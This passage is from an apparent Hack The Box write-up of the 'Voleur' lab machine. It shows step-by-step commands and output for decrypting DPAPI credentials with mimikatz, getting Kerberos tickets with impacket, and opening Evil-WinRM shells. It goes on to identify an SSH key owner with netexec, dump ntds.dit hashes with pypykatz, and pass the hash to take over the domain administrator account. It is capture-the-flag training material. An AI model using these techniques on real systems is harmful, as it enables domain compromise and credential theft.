Then I used the key to decrypt the DPAPI blob and found credentials for jeremy.combs.

mimikatz # DPAPI::cred /in:Credentials\772275FAD58525253490A9B0039791D3
...

  Type           : 00000002 - 2 - domain_password
...
  UserName       : jeremy.combs
  CredentialBlob : qT3V9pLXyN7W4m
  Attributes     : 0

The jeremy.combs user was found to be a member of the THIRD-LINE TECHNICIANS group.

Hack-The-Box Voleur Machine - Group Memberships of the Jeremy-Combs User

I then used getTGT script from impacket to get a TGT as jeremy.combs user.
Subsequently, I then used the TGT ticket to get an Evil-WinRM shell as the user.

┌──(kali@kali)-[~/HTB/Voleur]
└─$ impacket-getTGT -k voleur.htb/jeremy.combs:qT3V9pLXyN7W4m -k

[*] Saving ticket in jeremy.combs.ccache

┌──(kali@kali)-[~/HTB/Voleur]
└─$ KRB5_CONFIG=custom_krb5.conf KRB5CCNAME=jeremy.combs.ccache Evil-WinRM -i dc.voleur.htb -r voleur.htb

I, now having access to it, started enumerating the C:\IT\THIRD-LINE Support folder.
Where I found an SSH private key, a Note file and an inaccessible backup dir.

*Evil-WinRM* PS C:\IT\Third-Line Support> ls

    Directory: C:\IT\Third-Line Support

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----         1/30/2025   8:11 AM                Backups
-a----         1/30/2025   8:10 AM           2602 id_rsa
-a----         1/30/2025   8:07 AM            186 Note.txt.txt

*Evil-WinRM* PS C:\IT\Third-Line Support> more Note.txt.txt
Jeremy,

I've had enough of Windows Backup! I've part configured WSL to see if we can utilize any of the backup tools from Linux.

Please see what you can set up.

Thanks,

Admin

*Evil-WinRM* PS C:\IT\Third-Line Support> ls Backups
Access to the path 'C:\IT\Third-Line Support\Backups' is denied.
At line:1 char:1
+ ls Backups
+ ~~~~~~~~~~
    + CategoryInfo          : PermissionDenied: (C:\IT\Third-Line Support\Backups:String) [Get-ChildItem], UnauthorizedAccessException
    + FullyQualifiedErrorId : DirUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetChildItemCommand

I then saved the SSH private key, but it was still unknown to whom it belonged.
I then made a list of potential usernames and used netexec to verify the owner.
It was found that it belonged to svc_backup user account. Which had remote SSH Access.

┌──(kali@kali)-[~/HTB/Voleur]
└─$ ls
id_rsa  potential-usernames

┌──(kali@kali)-[~/HTB/Voleur]
└─$ cat potential-usernames
Administrator
Guest
krbtgt
ryan.naylor
marie.bryant
lacey.miller
svc_ldap
svc_backup
svc_iis
jeremy.combs
svc_winrm
ryan
marie
lacey
jeremy
root
admin

┌──(kali@kali)-[~/HTB/Voleur]
└─$ netexec SSH voleur.htb -u users -p '' --key-file id_rsa --port 2222
SSH         10.10.11.76     2222   voleur.htb       [*] SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.11
SSH         10.10.11.76     2222   voleur.htb       [-] Administrator: Could not decrypt private key, invalid password
SSH         10.10.11.76     2222   voleur.htb       [-] Guest: Could not decrypt private key, invalid password
SSH         10.10.11.76     2222   voleur.htb       [-] krbtgt: Could not decrypt private key, invalid password
SSH         10.10.11.76     2222   voleur.htb       [-] ryan.naylor: Could not decrypt private key, invalid password
SSH         10.10.11.76     2222   voleur.htb       [-] marie.bryant: Could not decrypt private key, invalid password
SSH         10.10.11.76     2222   voleur.htb       [-] lacey.miller: Could not decrypt private key, invalid password
SSH         10.10.11.76     2222   voleur.htb       [-] svc_ldap: Could not decrypt private key, invalid password
SSH         10.10.11.76     2222   voleur.htb       [+] svc_backup: (keyfile: id_rsa) (Pwn3d!) Linux - Shell access!

I then logged in as svc_backup via the SSH utility and ran the sudo -l.
Found out that this user can execute any command as root with requiring password.

┌──(kali@kali)-[~/HTB/Voleur]
└─$ SSH svc_backup@voleur.htb -i id_rsa  -p 2222
svc_backup@DC:~$ sudo -l
Matching Defaults entries for svc_backup on DC:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User svc_backup may run the following commands on DC:
    (ALL : ALL) ALL
    (ALL) NOPASSWD: ALL

However, I was not required to abuse that misconfiguration.
After looking around, I found C:\ mounted under /mnt/c.

svc_backup@DC:~$ mount | tail -n 1
C:\ on /mnt/c type drvfs (rw,noatime,uid=1000,gid=1000,case=off)

But this time the Backups folder was accessible from inside WSL.
Inside that folder, I found a backup of some very important files.
Which included SECURITY & SYSTEM registry hives and the ntds.dit file.

svc_backup@DC:~$ ls /mnt/c/IT/Third-Line\ Support/Backups
'Active Directory'   registry

svc_ba p@DC:~$ ls /mnt/c/IT/Third-Line\ Support/Backups/registry/
SECURITY  SYSTEM

svc_backup@DC:~$ ls /mnt/c/IT/Third-Line\ Support/Backups/Active\ Directory/
ntds.dit  ntds.jfm

I then used pypykatz to parse them and get the NTLM hash of Administrator.

$ pypykatz parser ntds Active\ Directory/ntds.dit registry/SYSTEM
ntlm:None:Administrator:66048:S-1-5-352321536-4192410602-1717679695-664587685-500:aad3b435b51404eeaad3b435b51404ee:e656e07c56d831611b577b160b259ad2:2025-01-28 21-35
kerberos:None:Administrator:S-1-5-352321536-4192410602-1717679695-664587685-500:aes256-cts-hmac-sha1-96:f577668d58955ab962be9a489c032f06d84f3b66cc05de37716cac917acbeebb
kerberos:None:Administrator:S-1-5-352321536-4192410602-1717679695-664587685-500:aes128-cts-hmac-sha1-96:38af4c8667c90d19b286c7af861b10cc
kerberos:None:Administrator:S-1-5-352321536-4192410602-1717679695-664587685-500:des-cbc-md5:459d836b9edcd6b0
...

I then used the newly extracted hash to verify the access as the administrator.

┌──(kali@kali)-[~/HTB/Voleur]
└─$ netexec LDAP voleur.htb -u Administrator -H e656e07c56d831611b577b160b259ad2 -k
LDAP        voleur.htb      389    DC               [*] None (name:DC) (domain:voleur.htb) (signing:None) (channel binding:No TLS cert) (NTLM:False)
LDAP        voleur.htb      389    DC               [+] voleur.htb\Administrator:e656e07c56d831611b577b160b259ad2 (Pwn3d!)

I then grabbed a TGT as administrator, then used it to get another WinRM shell

┌──(kali@kali)-[~/HTB/Voleur]
└─$ impacket-getTGT voleur.htb/Administrator -hashes :e656e07c56d831611b577b160b259ad2

[*] Saving ticket in Administrator.ccache

┌──(kali@kali)-[~/HTB/Voleur]
└─$ KRB5_CONFIG=custom_krb5.conf KRB5CCNAME=Administrator.ccache Evil-WinRM -i dc.voleur.htb -r voleur.htb

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents>

The Season 8 - Voleur Machine on Hack-The-Box was now complete.

Hack-The-Box Voleur Machine - Machine Completed